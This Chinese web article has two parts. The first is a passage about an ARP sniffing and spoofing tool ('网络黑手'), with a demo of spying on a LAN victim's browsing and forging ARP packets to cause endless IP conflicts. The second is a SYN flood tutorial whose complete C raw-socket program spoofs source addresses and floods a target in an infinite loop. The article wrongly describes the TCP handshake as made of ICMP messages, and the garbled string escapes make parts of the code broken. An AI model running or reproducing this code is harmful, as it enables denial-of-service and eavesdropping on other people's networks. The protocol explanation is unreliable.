// TODO: Add extra initialization here int i = 0;

char errbuf[PCAP_ERRBUF_SIZE]; /* 取得列表 */

if (pcap_findalldevs(&alldevs, errbuf) == - 1) {

MessageBox(\获得网络适配器列表失败,请确认您正确安装了WINPCAP!\网络黑手\MB_ICONEXCLAMATION);

GetDlgItem(IDC_STARTSTOP_BUTTON)->EnableWindow(FALSE); }

/* 输出列表 */

for (d = alldevs; d; d = d->next) {

CString str(d->name);

if (str.Find(\ m_adapterList.AddString(str); }

m_hostList.Create(CRect(12, 114, 435, 322), this, 1000); m_hostList.SetCols(4); m_hostList.SetRows(16);

for (i = 0; i < 16; i++) {

m_hostList.SetRowHeight(i, 13); for (int j = 0; j < 5; j++) {

m_hostList.SetAlignment(i, j, DT_CENTER); } }

m_hostList.SetColWidth(0, 120); m_hostList.SetColWidth(1, 140); m_hostList.SetColWidth(2, 100); m_hostList.SetColWidth(3, 62); m_hostList.SetColWidth(4, 62);

m_hostList.SetText(0, 0, \地址\ m_hostList.SetText(0, 1, \地址\ m_hostList.SetText(0, 2, \是否网络黑手\ m_hostList.SetText(0, 3, \黑手状态\

return TRUE; // return TRUE unless you set the focus to a control }

简单的修改ARP请求函数的目标地址:

void SendArpReq(unsigned long srcIp,unsigned long desIp,UCHAR * srcMac) { //…

eth.eh_dst[5]=0xfe; //… }

GetData()函数则不再需要侦听报文:

void GetData(LPPACKET lp) {

ULONG ulbytesreceived, off; ETHDR *eth; ARPHDR *arp;

char *buf, *pChar, *base; struct bpf_hdr *hdr;

ulbytesreceived = lp->ulBytesReceived; buf = (char*)lp->Buffer;

off = 0;

while (off < ulbytesreceived) {

hdr = (struct bpf_hdr*)(buf + off); off += hdr->bh_hdrlen;

pChar = (char*)(buf + off); base = pChar;

off = Packet_WORDALIGN(off + hdr->bh_caplen);

eth = (PETHDR)pChar;

arp = (PARPHDR)(pChar + sizeof(ETHDR));

if (eth->eh_type == htons(ETH_IP)) {

continue; }

else if (eth->eh_type == htons(ETH_ARP)) {

if (arp->arp_tpa == htonl(myip) && arp->arp_opt == htons(ARP_REPLY)) { int i;

for (i = 0; i < currentHstIndex; i++) {

if (hostList[i].ip == arp->arp_spa) { break; } }

if (i >= currentHstIndex) {

hostList[currentHstIndex].ip = arp->arp_spa;

memcpy(hostList[currentHstIndex].mac, eth->eh_src, 6); currentHstIndex++; } }

else if (arp->arp_spa == htonl(myip) && arp->arp_opt == htons(ARP_REPLY)) memcpy(mmac, eth->eh_src, 6); } } }

如何判断处于混杂模式的主机是否使用的是\网络黑手\呢?又如何终止对方\网络黑手\的使用呢?道理很简单,我们只需要在\网络黑手\与\网络黑手终结者\之间约定一套通信协议,按照该协议进行控制。剩下的工作留给读者朋友了。

3、攻防演示

下面的界面显示了搜索局域网内192.168.1.1~192.168.1.30范围内的节点并侦听192.168.1.2,我们简单的抓一些报文后按下\停止\,看看其中的一个TCP报文,简单的信息让我们看出对方正在上http://www.sina.com.cn这个网页。

我们完全可以把网络黑手做的更牛X一点,对应用层报文进行分析,从而完整地监视目标的行为。

现在我们给目标192.168.1.2 伪造ARP报文让其一直被提示IP冲突\地址与网络上的其他系统有冲突\,抓图如下:

我们用\或者\网络黑手终结者\都可以扫描出局域网内处于混杂模式的主机,如果确定对方使用的是\网络黑手\,在表格的黑手状态项目对应的行里双击,就会给\网络黑手\发送终止报文,\网络黑手\软件将自动关闭。

洪水攻击原理及代码实现全攻略(附源代码)

一、 什么是洪水攻击

洪水之猛、势不可挡。如果将洪水比作对计算机的攻击,那大家可以想象得出,攻击是多的猛烈。

在安全领域所指的洪水攻击是指向目标机器发送大量无用的数据包,使得目标机器忙于处理这些无用的数据包,而无法处理正常的数据包。在攻击过程中,目标机器的CPU的使用率将高于正常值,有时甚至会达到100%。这样将使目标机器的性能急剧下降。这有些象我们在日常生活中的电话,如果要使某个电话瘫痪,就不停地拨这个电话的号码,那么其它的电话就无法拨通这个电话,当然,要想不接到骚扰电话,唯一的方法是将电话线拔了。同样,要想计算机完全避免洪水攻击的唯一方法,就是不让这台计算机上网,更直接的就是将网线拔了。

二、 洪水攻击的原理

洪水攻击也称为拒绝服务攻击。可以有很多种方式进行这种攻击,本文主要讨论比较常用的利用TCP三次握手的漏洞来耗尽计算机资源的方式来进行攻击。

那么什么是TCP的三次握手呢?其实原理很简单。这要从TCP的连接过程说起。我们一般使用Socket API来进行TCP连接。要做的只是将IP或计算机名以及端口号传入connect函数,如果参数正确,目标

机器的服务可用的话,这个TCP连接就会成功。之所以连接这么方便,是因为Socket API已经将一些底层的操作隐藏了起来。那么这里面究竟发生了什么呢?

我们由网络7层可知,在TCP所在的传输层下面是网络层,在这一层最有代表性的协议就是IP协议。而TCP数据包就是通过IP协议传输的。这就是我们为什么经常说TCP/IP协议的缘故。TCP在底层的连接并不是这么简单。在真正建立连接之前,必须先通过ICMP(Internet Control Message Protcol)协议对连接进行验证。那么如何验证呢?

假设有两台机器A和B。A使用TCP协议连接B,在建立连接之前,A先发一个ICMP报文(就是一个数据包)给B,B在接收到这个数据包后,利用ICMP报文中的源地址(也就是A的IP)再给A发一个ICMP报文,A在接到这个ICMP报文后,又给B发了一个ICMP报文,B如果成功接到这个报文后,就正式和A建立TCP连接。过程示意如图1所示:

图1 TCP连接的三次握手

问题就出在第二次握手上。如果是ICMP的报文的话,ICMP的源地址应该是A的IP,但如果是一个非法的ICMP报文的话,ICMP的源地址可能并不是A的IP,也许就是一个并不存在的IP。如果是这样,那在第二次握手时,B也就无法找到A了,这当然就不可能发生第三次握手。因为,B找不到A,而A又迟迟得不到B的回信,这样TCP就无法连接。但攻击者的目的并不是要建立TCP连接,而是要耗尽B的资源。由于B找不到A,B也就无法得到A的回信,如果这种情况发生,B并不会将在第一次握手中建立的资源马上释放,而会有一个超时,假设这个时间是10秒。如果A在这10秒内向B发送10000个这样的连接数据包,就意味着B要维护这10000个连接资源。如果过了10秒,B释放了这些资源,A在下一个10称还会发10000个连接包。如果A不断地发这样数据包,就意味着B将永远要维护这10000个连接,因此,B的CPU和内存将被耗尽,至少也得被占用大部分。所以B就无法响应其它机器的请求,或者是响应迟缓。

三、 洪水攻击的实现

在上一部分我们讨论了洪水攻击原理,在这一部分我将给出一个完成的实例说明如何使用C语言来设计洪水攻击程序。

由于ICMP报文是用IP协议发送的,因此,我们需要自己定义IP数据包的数据结构,这样我们就可以任意修改IP数据包的内容了。下面是IP协议的数据结构。

typedef struct _iphdr //定义IP首部 {

unsigned char h_verlen; //4位首部长度,4位IP版本号 unsigned char tos; //8位服务类型TOS unsigned short total_len; //16位总长度(字节) unsigned short ident; //16位标识

unsigned short frag_and_flags; //3位标志位 unsigned char ttl; //8位生存时间 TTL

unsigned char proto; //8位协议 (TCP, UDP 或其他) unsigned short checksum; //16位IP首部校验和 unsigned int sourceIP; //32位源IP地址 unsigned int destIP; //32位目的IP地址 } IP_HEADER;

这个结构比较复杂,我们只看其中3个,其余的成员可以参考《TCP/IP详解 卷1:协议》的相关部分。最后两个成员sourceIP和destIP就是上述所说的A和B的IP。而最重要的就是checksum,这个参数是一个验证码,用于验证发送的IP数据包的正确性,我们把这个验证码称为校验和。计算它的函数如下:

USHORT checksum(USHORT *buffer, int size) {

unsigned long cksum=0; while(size >1) {

cksum+=*buffer++; size -=sizeof(USHORT); } if(size ) {

cksum += *(UCHAR*)buffer; }

cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16); return (USHORT)(~cksum); }

看了上面的代码也许会有很多疑问,下面我就简单描述一下如何计算机IP数据包的校验和。IP数据包的校验和是根据IP首部计算机出来的,而并不对IP数据包中的数据部分进行计算。为了计算一个数作为校验和,首先把校验和字段赋为0。然后,对首部中每个16位进行二进制白马反码求和(我们可以将整个IP首部看成是由一组16位的字组成),将结果保存在校验和字段中。当收到一份IP数据报后,同样对首部中每个16位进行二进制反码的求和。由于接收方在计算机过程中包含了发送方存在首部的校验和,因此,如果首部在传输过程中没有发生任何差错,那么接收方计算的结果应该全是1.如果结果不全是1(即校验和错误),那么IP就丢弃收到的数据报。但不生成差错报文,由上层(如TCP协议)去发现丢失的数据报并进行重传。

由于我们要发送假的TCP连接包,因此,为分别定义一个伪TCP首部和真正的TCP首部。

struct //定义TCP伪首部 {

unsigned long saddr; //源地址 unsigned long daddr; //目的地址 char mbz;

char ptcl; //协议类型

unsigned short tcpl; //TCP长度 } psd_header;

typedef struct _tcphdr //定义TCP首部 {

USHORT th_sport; //16位源端口 USHORT th_dport; //16位目的端口 unsigned int th_seq; //32位序列号 unsigned int th_ack; //32位确认号

unsigned char th_lenres;//4位首部长度/6位保留字 unsigned char th_flag;//6位标志位 USHORT th_win; //16位窗口大小 USHORT th_sum; //16位校验和 USHORT th_urp; //16位紧急数据偏移量 } TCP_HEADER;

在以上的准备工作都完成后,就可以写main函数中的内容了。下面是程序的定义部分。

#include #include #include #include #define SEQ 0x28376839

#define SYN_DEST_IP \被攻击的默认IP

#define FAKE_IP \伪装IP的起始值,可以是任意IP #define STATUS_FAILED 0xFFFF//错误返回值 int main(int argc, char **argv) {

int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost; int TimeOut=2000,SendSEQ=0;

char SendBuf[128]; // 每个数据包是128个字节

char DestIP[16]; // 要攻击的机器IP,在这里就是B的IP memset(DestIP, 0, 4);

// 如果通过参数输入个IP,将DestIP赋为这IP,否则SYN_DEST_IP赋给DestIP if(argc < 2)

strcpy(DestIP, SYN_DEST_IP); else

strcpy(DestIP, argv[1]);

// 以下是声明Socket变量和相应的数据结构 WSADATA wsaData;

SOCKET SockRaw=(SOCKET)NULL; struct sockaddr_in DestAddr; IP_HEADER ip_header; TCP_HEADER tcp_header; … … }

下一步就是初始化Raw Socket //初始化SOCK_RAW

if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0) // 使用Socket2.x版本 {

fprintf(stderr,\ ExitProcess(STATUS_FAILED); }

SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED); if (SockRaw==INVALID_SOCKET) // 如果建立Socket错误,输出错误信息 {

fprintf(stderr,\ ExitProcess(STATUS_FAILED); }

第二步就是填充刚才定义的那些数据结构 //设置IP_HDRINCL以自己填充IP首部

ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int)); if (ErrorCode==SOCKET_ERROR)printf(\ __try{

//设置发送超时

ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut)); if(ErrorCode==SOCKET_ERROR) {

fprintf(stderr,\ __leave; }

memset(&DestAddr,0,sizeof(DestAddr));

DestAddr.sin_family=AF_INET;

DestAddr.sin_addr.s_addr=inet_addr(DestIP); FakeIpNet=inet_addr(FAKE_IP); FakeIpHost=ntohl(FakeIpNet); //填充IP首部

ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); //高四位IP版本号,低四位首部长度

ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位总长度(字节) ip_header.ident=1; //16位标识

ip_header.frag_and_flags=0; //3位标志位 ip_header.ttl=128; //8位生存时间TTL

ip_header.proto=IPPROTO_TCP;//8位协议(TCP,UDP…) ip_header.checksum=0;//16位IP首部校验和

ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);//32位源IP地址 ip_header.destIP=inet_addr(DestIP); //32位目的IP地址 //填充TCP首部

tcp_header.th_sport=htons(7000);//源端口号 tcp_header.th_dport=htons(8080);//目的端口号

tcp_header.th_seq=htonl(SEQ+SendSEQ);//SYN序列号 tcp_header.th_ack=0; //ACK序列号置为0

tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0);//TCP长度和保留位 tcp_header.th_flag=2; //SYN 标志

tcp_header.th_win=htons(16384); //窗口大小 tcp_header.th_urp=0; //偏移 tcp_header.th_sum=0; //校验和

//填充TCP伪首部(用于计算校验和,并不真正发送) psd_header.saddr=ip_header.sourceIP;//源地址 psd_header.daddr=ip_header.destIP;//目的地址 psd_header.mbz=0;

psd_header.ptcl=IPPROTO_TCP;//协议类型

psd_header.tcpl=htons(sizeof(tcp_header));//TCP首部长度

最后一步是通过一个while循环发送向目标机器发送报文

while(1) {

//每发送10000个报文输出一个标示符 printf(\

for(counter=0;counter<10000;counter++){

if(SendSEQ++==65536) SendSEQ=1;//序列号循环 //更改IP首部

ip_header.checksum=0;//16位IP首部校验和

ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);//32位源IP地址 //更改TCP首部

tcp_header.th_seq=htonl(SEQ+SendSEQ);//SYN序列号 tcp_header.th_sum=0; //校验和 //更改TCP Pseudo Header

psd_header.saddr=ip_header.sourceIP;

//计算TCP校验和,计算校验和时需要包括TCP pseudo header memcpy(SendBuf,&psd_header,sizeof(psd_header));

memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));

tcp_header.th_sum=checksum((USHORT*)SendBuf,sizeof(psd_header)+sizeof(tcp_header)); //计算IP校验和

memcpy(SendBuf,&ip_header,sizeof(ip_header));

memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header)); memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4); datasize=sizeof(ip_header)+sizeof(tcp_header);

ip_header.checksum=checksum((USHORT *)SendBuf,datasize); //填充发送缓冲区

memcpy(SendBuf,&ip_header,sizeof(ip_header)); //发送TCP报文

ErrorCode=sendto(SockRaw, SendBuf, datasize, 0, (struct sockaddr*) &DestAddr, sizeof(DestAddr));

if (ErrorCode==SOCKET_ERROR) printf(\ } }

到现在为止,我们已经完成了一个洪水攻击的控制台软件。本程序使用VC6.0调试通过。感性趣的读者可以下载本文提供的完整代码。在Debug目录中有一个exe程序,synflooding.exe,可以通过参数将目标IP传入exe。如synflooding 129.11.22.33,如果不带参数,默认就是本机(127.0.0.1)。软件的运行界面如图2所示,攻击后的CPU使用情况如图3如示。

图2 攻击软件运行界面

本文来源:https://www.bwwdw.com/article/auio.html

Top